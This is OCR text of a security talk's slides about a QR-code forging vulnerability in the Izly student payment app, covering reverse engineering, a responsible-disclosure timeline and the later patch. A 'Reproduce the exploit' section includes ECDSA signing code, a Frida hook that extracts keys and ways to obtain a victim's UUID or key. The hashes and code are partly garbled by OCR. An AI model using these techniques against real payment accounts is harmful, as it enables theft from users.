Vulnerability in the QR Code of the lzly phone
application

Clément Gindrier
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What is lzly?

Izly is indispensable

e Checkout cashless
e Not always credit card available
e 1€ meals

e credit and social meals
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How lzly works
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How the QR Code works?

AIZ; # QR Code type

33601234567 ; # phone number as a user ID
2022-11-26 20:11:51; # Date and time of QR Code creation
3; # QR Code type's Number
141739b44£3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data
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How the QR Code works?

AIZ; # (R Code type

33601234567 ; # phone number as a user ID
2022-11-26 20:11:51; # Date and time of QR Code creation
3; # (R Code type's Number

141739b44£3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data
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How the source code works (reverse engineering)?

AIZ; # (R Code type

33601234567 ; # phone number as a user ID
2022-11-26 20:11:51; # Date and time of (R Code creation
3; # QR Code type's Number

141739b44£3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data

public final String GenQRCodeText(Enum typeQrCode) {

String key = this. o (this. )
[...]
String dataQrCode = typeQrCode. i Mgl

+ this. ap Wl

+ simpleDateFormat. (new Date())

+ ";3";
return dataQrCode + ";"

+ classHash. (

dataQrCode + "+'" this. , key);
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How the source code works (reverse engineering)?

public final String GetKey(String phoneNumber) {
[...]
String counterNbQRCode =
sharedPreferences.

("sharedPrefHotpCounter", "");
[...

key = counterNbQRCode. . O

g
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How the source code works (reverse engineering)?

public final String GetKey(String phoneNumber) {

Loool
String counterNbQRCode =
sharedPreferences. ("sharedPrefHotpCounter", "");

key = counterNbQRCode. c O

— g

edit. ("sharedPrefHotpCounter",
Base64. (0, Base64. ));
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How the source code works (reverse engineering)?

public final String GetKey(String phoneNumber) {
[...]
String counterNbQRCode =
sharedPreferences. ("sharedPrefHotpCounter", "");
[...]
key = counterNbQRCode. c O
[...]
}
. J
edit. ("sharedPrefHotpCounter",
Base64. (0, Base64. ));
edit. ("sharedPrefHotpCounter",
Base64. (counterNbQRCode + 1, Base64. ));
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How the source code works (reverse engineering)?

Client

Counter — > Local key

Counter ++

21



How the source code works (reverse engineering)?
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AIZ; # QR Code type

33601234567 ; # phone number as a user ID
2022-11-26 20:11:51; # Date and time of QR Code creation
3; # QR Code type's Number

141739b44£3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data
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AIZ; # QR Code type

33601234567 ; # phone number as a user ID
2022-11-26 20:11:51; # Date and time of QR Code creation
3; # QR Code type's Number

AALTT AL BLTIIEBLACHTRICHBTISBAAGINVAONZ # HIMAC of previous data
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AIZ; # QR Code type

33601234567 ; # phone number as a user ID
2022-11-26 20:11:51; # Date and time of QR Code creation
3; # QR Code type's Number
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AIZ; # QR Code type

33797654321 ; # phone number as a user ID
2022-11-26 20:11:51; # Date and time of QR Code creation
3; # QR Code type's Number

AALTT AL BLTIIEBLACHTRICHBTISBAAGINVAONZ # HIMAC of previous data
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AIZ; # QR Code type

33797654321 # phone number as a user ID
2023-11-17 10:11:51; # Date and time of QR Code creation
3; # QR Code type's Number

AT AL BLTIIEBLAEHTRICHBTISEAAGINVAONE # HIMAC of previous data
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AIZ; # (R Code type

33797654321 ; # phone number as a user ID
2023-11-17 10:11:51; # Date and time of QR Code creation
3; # QR Code type's Number

28



29



30



12:58 © @ 21 2-N | w4 »9.40100%

¢ Choose a contact Q
IR Code

P Prenom Nom

Mobile 0622331155

v Victim

Mobile 0798765432

|

31



Vulnerability and exploitation

Attacker:

Very easy and fast to do

Zero click exploitation
e Only need the phone number

Cannot be traced

e Cannot be caught in the act
Victim:

e Can only be notified with payment history

e Cannot protect against the attack
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2015 2018 Oct 2022

2 students discover the

Izly is launched vulnerability

| reverse the application

33



Vulnerability impact

o 'Univers officiel :

* 20 septembre 2023

Je me fait voler de I'argent sur mon compte, on me débite sans raison et PERSONNE pour vous aider :
ni le Crous, aucun numero de téléphone joignable, mails sans réponse. Voler des étudiants ¢a rapporte
jespére.

1 personne a trouvé cet avis utile

Ce contenu vous a-t-il été utile ? Qui Non

Translation: Money has been stolen from my account, I've been debited
for no reason and there’s NO ONE to help you: not Crous, no contact

phone number, unanswered e-mails. | hope stealing from students pays
off.
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Xpollens
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Have you discovered a security flaw or vulnerability and would like to report it to us?
It is now possible thanks to the law for a digital Republic *

Send us a message (cert-fr[at]ssi.gouv.fr) sending all the technical
elements allowing us to carry out the necessary operations.
It is also possible to make your report by post.

[

Find all the details for contacting us https://www.cert.ssi.gouv.fr/contact/

ANSSI will preserve the confidentiality of your identity as well as the elements of your declaration **.
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2015 2018 Oct 2022 Oct 26 Dec 1 Apr 15th 2023

2 students discover | reverse the

Izly is launched the vulnerability application

| contact Izly | contact ANSSI Patch
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Patch




=

AIZ; # (R Code type: Applt IZly

a87f7661-7be9-4381-a423-67c238bb3dde; # UUID
2023-07-08 15:58:24; # Code creation time
&5 # Code type number

73d9c0958d315640c90292c6€92£05920552d307; # HmacSHA1 not checked

MEYCIQCcLB40kgofoTlawlX7RX4eM0ig/dTrfJYdl
1JQpUSJEgIhAIfYfsOovSErPdGloQ7gI61kG/atwV
sjmckX5hr+Uq5M # Signature SHA256 with ECDSA
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2023-07-08 15:58:24; # Code creation time
&5 # Code type number
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=

AIZ; # (R Code type: Applt IZly

a87f7661-7be9-4381-a423-67c238bb3dde; # UUID
2023-07-08 15:58:24; # Code creation time
&5 # Code type number

73d9c0958d315640c90292c6e92£05920652d307; # HmacSHAI not checked

MEYCIQCcLB40kgofoTlawlX7RX4eM0ig/dTrfJYd1l
iJQpUSJEgIhAIfYfsOovSErPdGloQ7gI61kG/atwV
sjmckXbhr+Uq5M # Signature SHA256 with ECDSA
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Reproduce the exploit

private fun genSignature(textToSign: String String): String {

val privateKey: PrivateKey = java.security.KeyFactory.getInstance( algorithm: "EC", BouncyCastleProvider())
.generatePrivate (PKCS8EncodedKeySpec(decode(key, flags: 0)))

val signature: Signature = Signature.getInstance( algorithm: "SHA256withECDSA")

signature.initSign(privateKey)

val bytes = textToSign.toByteArray() // UTF-8 encoding

signature.update(bytes)

return Baseé4.encodeToString(signature.sign(), flags: 2)
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Reproduce the exploit

FAIDA + tr_|_

Java.perform(function() {

console.log("[ * ] Starting implementation override...")
let Signature = Java.use("Md");
console.log(  guid=$guid, key=$key, [...]17);

this["$init"] (guid, key, [...]1);
printBacktrace() ;

Signature["$init"].implementation = function (guid, key, [..

DA
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Reproduce the exploit

FAIDA + tr_|_

Java.perform(function() {

console.log("[ * ] Starting implementation override...")
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Reproduce the exploit

FsipA + [T +

Java.perform(function() {

console.log("[ * ] Starting implementation override...")

let Signature = Java.use("Md");

Signature["$init"].implementation = function (guid, key, [...]) {
console.log (" guid=guid, key =key, [...]17);
this["$init"] (guid, key, [...]1);
printBacktrace();

),

dgst -sha256 -verify pubkeyl.pem -signature sigld data

Verified OK
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Reproduce the exploit

GENERATE QR CODES

Generate 1 QR Code Generate 2 QR Codes Generate 3 QR Codes

QR Code(s) valid till 10/31/2023 2:00:00 PM

Download as a PDF
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Reproduce the exploit

UUID: Take photo of the QR Code of the victim

Private key: Have access one time to the account

Private key and UUID: Hack Izly's database

Private key: Intercept HTTPS communication
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Reproduce the exploit

Unauthorized.
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